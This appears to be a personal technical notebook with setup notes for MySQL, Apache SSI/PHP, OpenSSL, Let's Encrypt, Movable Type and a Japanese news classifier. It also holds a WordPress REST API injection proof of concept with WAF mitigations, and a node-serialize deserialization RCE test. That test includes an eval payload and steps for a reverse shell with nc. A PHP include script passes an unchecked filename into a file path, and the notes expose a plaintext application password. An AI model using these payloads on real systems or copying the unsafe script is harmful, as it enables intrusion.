Export data:

mysqldump -u username -p -t databasename table1 table2 --where id=1 > dump.sql

Import data:

mysql -uUsername -pPassword databasename

Immediately-invoked function expression

Immediately-invoked function expression (IIFE) is a JavaScript idiom 
which enables immediate execution of fuction just after its definition.

https://en.wikipedia.org/wiki/Immediately-invoked_function_expression

I've just gotten the information of IIEF through vulnerability testing for Node.js 
discribed as follwing.

http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

It is called "即時関数" in Japanese.

http://qiita.com/katsukii/items/cfe9fd968ba0db603b1e

We can define IIEF function by adding "()" after function definition.

- Test for IIFE vs normal function

Sample:

---------------

console.log("---IIFE test---");

var n = 1;

var iife = (function(x) {

    console.log("IIFE executed!n=:"+x);

    return x;

})(n);

n = 999;

console.log("n:"+n);

console.log("---Normal function test---");

var m=1;

myObj = new Object();

myObj.normalFunc = function(x){

	console.log("normalFunc executed!m=:"+x);

	return x;

}

m=999;

console.log("m:"+m);

myObj.normalFunc(m);

---------------

Result:

---IIFE test---

IIFE executed!n=:1

n:999

---Normal function test---

m:999

normalFunc executed!m=:999

-------------

As you can see, IIEF function is executed automatically just after its definition 
whereas normal function should be called explicatly.

It's some convenient feature, however it can read to security problems 
if we use it without security consideration.

Some serialize modules enable including IIEF function in JSON.

http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

- Unserialize test for IIFE vs normal function

Refer the following article.

http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

機械学習

http://qiita.com/yasunori/items/31a23eb259482e4824e2
https://github.com/yasunori/Random-Forest-Example

http://qiita.com/katsuyuki/items/65f79d44f5e9a0397d31

- 必要なソフトのインストール- ------

Mecab本体
wget -O mecab-0.996.tar.gz 
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7cENtOXlicTFaRUE"

cd mecab-0.996/

./configure --with-charset=utf8 --enable-utf8-only
make
make install

辞書

wget -O mecab-ipadic-2.7.0-20070801.tar.gz 
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7MWVlSDBCSXZMTXM"

cd mecab-ipadic-2.7.0-20070801

./configure --with-charset=utf8
make
make install

Mecab python API
pip install mecab-python3

gensim
pip install --upgrade gensim

共有ライブラリにパスが通っていないので、通す。

echo /usr/local/lib > /etc/ld.so.conf.d/custom.conf

これで読み込む

ldconfig

http://www.rondhuit.com/download.html#ldcc

から記事ファイルを取ってきて解凍する

- 辞書の読み込みと学習- ------

# -*- coding: utf-8 -*-

from sklearn.ensemble import RandomForestClassifier

from sklearn.cross_validation import train_test_split

from sklearn.grid_search import GridSearchCV

from sklearn.metrics import classification_report

import corpus

from gensim import corpora

def main():

    # 辞書の読み込み

    dictionary = corpora.Dictionary.load_from_text('livedoordic.txt')

    #dictionary = corpus.get_dictionary(create_flg=False)

    # 記事の読み込み

    contents = corpus.get_contents()

辞書ファイルが重要。今回は

livedoordic.txt

というファイル。

これを読み込みできている前提にする。

   # 特徴抽出

    data_train = []

    label_train = []

    for file_name, content in contents.items():

        data_train.append(corpus.get_vector(dictionary, content))

        label_train.append(corpus.get_class_id(file_name))

   # 分類器

    estimator = RandomForestClassifier()

   # 学習

    estimator.fit(data_train, label_train)

   # 学習したデータを予測にかけてみる（ズルなので正答率高くないとおかしい）

    #print("==== 学習データと予測データが一緒の場合")

    #print(estimator.score(data_train, label_train))

   # 学習データと試験データに分けてみる

    data_train_s, data_test_s, label_train_s, label_test_s = train_test_split(data_train, label_train, test_size=0.4)

   # 分類器をもう一度定義

    estimator = RandomForestClassifier()

   # 学習

    estimator.fit(data_train_s, label_train_s)

    print("==== 学習データと予測データが違う場合")

    print(estimator2.score(data_test_s, label_test_s))

- 分類させてみる- ------

# -*- coding: utf-8 -*-

import MeCab

mecab = MeCab.Tagger('mecabrc')

def tokenize(text):

    '''

    とりあえず形態素解析して名詞だけ取り出す感じにしてる

    '''

    node = mecab.parseToNode(text)

    while node:

        if node.feature.split(',')[0] == '名詞':

            yield node.surface.lower()

        node = node.next

def get_words(contents):

    '''

    記事群のdictについて、形態素解析してリストにして返す

    '''

    ret = []

    for k, content in contents.items():

        ret.append(get_words_main(content))

    return ret

def get_words_main(content):

    '''

    一つの記事を形態素解析して返す

    '''

    return [token for token in tokenize(content)]

# 2記事の一部だけ取り出しました

# 1つめがITライフハック、2つめが独女通信の記事です。

if __name__ == '__main__':

        words = get_words({'movie-enter-6149578.txt': '緻密なアニメーションによって悪目立ちする、主人公の浅さと短絡的な展開。『秒速5センチメートル』や『言の葉の庭』など、美しいアニメ作品で知られる新海誠監督の最新作『君の名は。』が、国内の興行収入で100億円を突破するという快挙を成し遂げた。メディアや大衆から絶賛を受け続けている本作は、確かに魅力的な作品である。しかし、筆者にはどうも腑に落ちない点が散見された。今回はネタバレにならない範囲で、本作が孕む問題に迫ってみる。...........途中省略...............これまでと同様、新海監督は、実に美しいアニメーションを紡いだ。キャラクターから細やかな背景に至るまで、その美しさは日本アニメ史上屈指のレベルと言えるだろう。これは否定しようがない。興行収入100億円超えも、実に立派である。しかし、主人公のキャラ付けの浅さと、結末に至るまでの描写不足という作品の瑕疵は、看過されるべきではない。新海監督は、もっと上のレベルに行けるはずである。本作が、彼のキャリアにおける最高傑作にならないことを期待したい。'})

    print(words)

これでwordsオブジェクトを作成できた。

from gensim import corpora, matutils

# dictionary は既に作成済みとして......

tmp = dictionary.doc2bow(words[0])

dense = list(matutils.corpus2dense([tmp], num_terms=len(dictionary)).T[0])

print(dense)

で、頻度のリストが作成される。

label_predict = estimator.predict(dense)

print(label_predict)

Qiita

scikit-learnとgensimでニュース記事を分類する - Qiita

こんにちは、初心者です。 適当なニュース記事があったとして、ニュースのカテゴリを推測するみたいな、よくあるやつをやってみました。Python3.3を使いました。 ## 何をやるの？ データセットはlivedoorニュースコーパス...

https://github.com/yasunori/Random-Forest-Example

How to include php into shtml using SSI

http://www.atmarkit.co.jp/ait/articles/0107/17/news003.html

- Create shtml

# cat ssi.shtml 

<html>

<body>

<!--#include virtual="/mt/know-how/importTXTCustom.php" -->

</body>

</html>

Notice:

	Full path include is not allowed in my server environment(sakura VPS).

	(Probably it depends on server setting.)

	I got the following error message:

------

		[include:error] [pid 10666] [client 101.111.243.105:54515] unable to include "/opt/rh/httpd24/root/var/www/html/mt/know-how/blog.php" in parsed file /opt/rh/httpd24/root/var/www/html/path/ssi.shtml, subrequest returned 404

------

You Can also use parameter as followings:

<!--#include virtual="/mt/know-how/importTXTCustom.php?filename=SSI.txt" -->

- Create php included by shtml

# cat /opt/rh/httpd24/root/var/www/html/mt/know-how/importTXTCustom.php

<?php

if (isset($_GET['filename'])) {

$filename=$_GET['filename'];

} else if(isset($argv[1])) {

$filename=$argv[1];

} else{

echo 'Please specify filename using "?filename={filename}"';

}

$filepath='/opt/rh/httpd24/root/var/www/html/mt/know-how/'.$filename;

//echo 'filepath:'.$filepath;

$fp = fopen($filepath, "r");

$i=0;

while ( $line = fgets( $fp ) ) {

$line = htmlspecialchars($line);

// title

if ($i==0) {

$line = "<h1>".$line."</h1>";

echo nl2br("\n");

}

// Sub title

else if (preg_match('{^-}',ltrim($line), $matches)) {

$line = "<b>".$line."</b>";

echo nl2br("\n");

}

// Other

else {

// Link

if (preg_match('{(http|https)://}',ltrim($line), $matches)) {

$line = '<a href="'.$line.'" target="blank">'.$line.'</a>';

echo nl2br("\n");

}

// normal sentense

else{

$line = "<pre>".$line."</pre>";

}

}

echo $line;

$i++;

}

fclose($fp);

?>

- Enable SSI in httpd.conf
-----

<Directory "/opt/rh/httpd24/root/var/www/html/path">

Options +Includes

</Directory>

-----

Add following settings in <IfModule mime_module>

-----

AddType text/html .shtml

AddHandler server-parsed .shtml

-----

Restart httpd

- Access shtml, then included php code is executed by SSI.
https://www.reverse-edge.com/path/ssi.shtml

Vulnerability test for WordPress

https://www.jpcert.or.jp/english/at/2017/at170006.html

PoC

------

POST /wordpress/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1

Host: localhost

Content-Type: application/json; charaset=UTF-8

Content-Length: 56

{"title": "title", "content": "content"}

------

curl -X POST -H "Content-Type: Application/json" -d '{"title":"API","content":"sample"}' http://localhost/wordpress471/wp-json/wp/v2/posts/1?id=1A

- Normal REST API use

We can post blog as following:

(In order to use REST API, we need to install Application Passwords plugin, and set temporary password for application.)

------

POST /$WP_HOME/wp-json/wp/v2/posts/1/ HTTP/1.1

Authorization: Basic {base64encoded ID:Pass}

User-Agent: curl/7.29.0

Host: localhost

Accept: */*

Content-Type: Application/json

Content-Length: 53

Connection: close

{"title":"API","content":"sample","status":"publish"}

------

curl -X POST --user "admin:uktU lOA7 wIMn OBZc" -H "Content-Type: Application/json" -d '{"title":"API","content":"samublish"}' http://localhost/$WP_HOME/wp-json/wp/v2/posts/1/

http://www.tam-tam.co.jp/tipsnote/cms/post10274.html
https://developer.wordpress.org/rest-api/reference/posts/#create-a-post

- Mitigations

- Restrict URL of REST API

Configuration example for Apache.

Add the following setting to httpd.conf :

<Location "/$WP_HOME/wp-json">

  Order deny,allow

  Deny from all

  Allow from 127.0.0.1

</Location>

Notice:

Location and LocationMatch cannnot be defined in .htaccess.

They can be defined only in server config file such as httpd.conf.

http://httpd.apache.org/docs/current/mod/core.html#location
http://httpd.apache.org/docs/current/mod/directive-dict.html#Context

- Deny requests containing malicious payload using WAF

 Rule example for mod security

SecRule REQUEST_URI "/wp-json/wp/v2/posts/[0-9]+\?id=" "id:001,phase:2,t:none,log,deny,msg:attack"

 From modsec_audit.log:

-----------

 POST /$WP_HOME/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1

Host: localhost

Content-Type: application/json; charaset=UTF-8

Content-Length: 54

{"title": "PPAP", "content": "I have a pen!!!!"}^M

HTTP/1.1 403 Forbidden

Message: Access denied with code 403 (phase 2). Pattern match "/wp-json/wp/v2/posts/[0-9]+\\?id=" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/activated_rules/wprestapi_rule.conf"] [line "1"] [id "001"] [msg "attack"]

-----------

About OpenSSL

- Default version of OpenSSL distributed by each major OS:

Cent7: openssl-1.0.1e-42.el7.9.x86_64

Cent6: openssl-1.0.1e

Ubuntu 16 : 1.0.2g-1ubuntu4.5

Ubuntu 14 : 1.0.1f

debian 8: 1.01t

debian 9 (stretch)    1.1.0d-2

- Installation of OpenSSL

(testing in Ubuntu)

http://www.openssl.org/source/

Remove default pkg.

dpkg --purge openssl

rm -rf /etc/ssl/

apt-get remove libgnutls-openssl27

dpkg -l | grep openssl

Install desired ver.

./config 

make

make install

export LD_LIBRARY_PATH=/usr/local/lib/

- Launch openssl client

openssl s_client -connect IP:443

How to implement SSL

I've implemented ssl for my web site using Let's encrypt.

- Install httpd24 in CentOS 6
  Install dirs are followings.
  /opt/rh/httpd24/
  /etc/httpd24

yum install httpd24-mod_ssl.x86_64

- Stop httpd
/etc/rc.d/init.d/httpd24-httpd stop

- Create SSL certificate using Let's encrypt
 /var/tmp/ssl/letsencrypt
 ./letsencrypt-auto certonly -a standalone -d www.reverse-edge.com

 SSL certificate files  are created the following directory.
 /etc/letsencrypt/live/www.reverse-edge.com/

- Setting ssl.conf
DocumentRoot "/opt/rh/httpd24/root/var/www/html"
ServerName www.reverse-edge.com:443
SSLProtocol all -SSLv2 -SSLv3
SSLCertificateFile /etc/letsencrypt/live/www.reverse-edge.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/www.reverse-edge.com/privkey.pem

- Start httpd

yum install httpd-devel
yum install libxml2-devel

# which apxs
/usr/bin/apxs

./configure --with-apxs2=/usr/bin/apxs
make
make install

/etc/httpd/conf/httpd.conf
以下はもともと有効
LoadModule php5_module        /usr/lib64/httpd/modules/libphp5.so

末尾に以下を追記

    SetHandler application/x-httpd-php


/usr/local/lib/php.ini 
short_open_tag = On

systemctl restart httpd

[root@websv html]# httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built:   Nov 14 2016 18:04:44
[root@websv html]# php -v
PHP 5.6.30 (cli) (built: Jan 21 2017 15:20:35) 

httpdはcent6 用のhttpd24パッケージを入れた。
インストール先は/opt/rh/httpd24/
yum install httpd24-httpd-devel

以下に基づいてシンボリックリンク作成
http://serverfault.com/questions/646873/how-to-configure-lib-path-for-apache-utilities
cd /
ln -s /opt/rh/httpd24/root/usr/lib64/httpd .

phpインストール
必要なモジュールインストール
yum install libxml2-devel
phpをソースからビルド
./configure --with-apxs2=/opt/rh/httpd24/root/usr/bin/apxs
make
make install
make installでエラー発生
Installing PHP SAPI module:       apache2handler
/httpd/build/instdso.sh SH_LIBTOOL='/apr-1/build/libtool' libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules
/apr-1/build/libtool --mode=install install libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules/
/httpd/build/instdso.sh: line 63: /apr-1/build/libtool: そのようなファイルやディレクトリはありません
apxs:Error: Command failed with rc=8323072

シンボリックリンクを貼ってからmake installしたら、解決
 ln -s /usr/bin/libtool /apr-1/build/libtool

[root@gamzatti php-5.6.30]# which php
/usr/local/bin/php
[root@gamzatti php-5.6.30]# php -v
PHP 5.6.30 (cli) (built: Jan 28 2017 21:46:29) 

        

参考にしたページ CentOS6にMovableTypeを導入してみました

CPANインストール
さくらvpsの設定自分メモ - さくらVPSのCentOSにCpan入れる
CentOSで初めてのCPANモジュールインストール
上記を参考にインストール
yum install perl-CPAN


Movable Typeインストールチェック
http://www.reverse-edge.com/cgi-bin/mt/mt-check.cgi
の結果に基づいて、必要なモジュールをインストール

install DBD::mysql
mysql_configがないというエラーが出たので、mysql-develインストール
yum install --enablerepo mysql56-community  mysql-devel
再度DBD::mysqlをインストールしたら成功
 

mt-config.cgiの設定
 
DB設定
mysql> create database mt;
mysql> grant all on mt.* to mt@localhost identified by 'xxx';


Movable Typeインストール
以下にアクセスし、インストール
http://www.reverse-edge.com/cgi-bin/mt/mt.cgi


ユーザ作成
 
imagemagickインストール
yum install ImageMagick-perl


サイト、ブログ、エントリなどを作成
        

Vulnerability test of Node.js

-----------
var serialize = require('node-serialize');
var obj = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}';
var objS = serialize.unserialize(obj);
typeof objS === 'string';
console.log(objS);
----------------
result:
exploited
{ rce: [Function] }

var serialize = require('node-serialize');
var obj = '{"rce":"_$$ND_FUNC$$_function () {console.log(\'exploited\')}"}';
var objS = serialize.unserialize(obj);
objS.rce();
typeof objS === 'string';
console.log(objS);
----------------
result:
{ rce: [Function] }
--> function is not executed without "objS.rce();"

exploit payload:
=====
GET / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: profile=eyJyY{omitted}9Cg==
Connection: close
If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
Cache-Control: max-age=0
=====

Decoded payload:

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,
{omitted},84,41,59,10))}()"}

c.f. Normal payload

===
GET / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: profile={base64 encoded strings}
Connection: close
If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
Cache-Control: max-age=0
====

{"username":"ajin","country":"india","city":"bangalore"}

If decorded strings contains "eval(" or "()", issue alert and exit.

----
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   if ( str.match(/eval\(|\(\)/)) {
      console.log("exploit payload detected!!!");
      res.send("Server error");
      return;
   }
   var obj = serialize.unserialize(str);
----

 - Download  binary from official page

 - Copy binary to /usr/local

 - Set environment val
   export NODE_PATH=/usr/local/lib/node_modules

 - Install required module
   npm install -g {modulename}
   npm install -g node-serialize

   Installed modules can be listed with:
   npm list --depth=0 -g

 - Launch node.js application
   node xx.js

- Launch test application
 node deserialization.js

- Create payload
 python nodejsshell.py 127.0.0.1 1337

- Encode payload with base64
 base64 payload.txt | tr -d '\n'

- Launch nc for listening reverse shell
  nc -l 127.0.0.1 1337

- Exploit using burp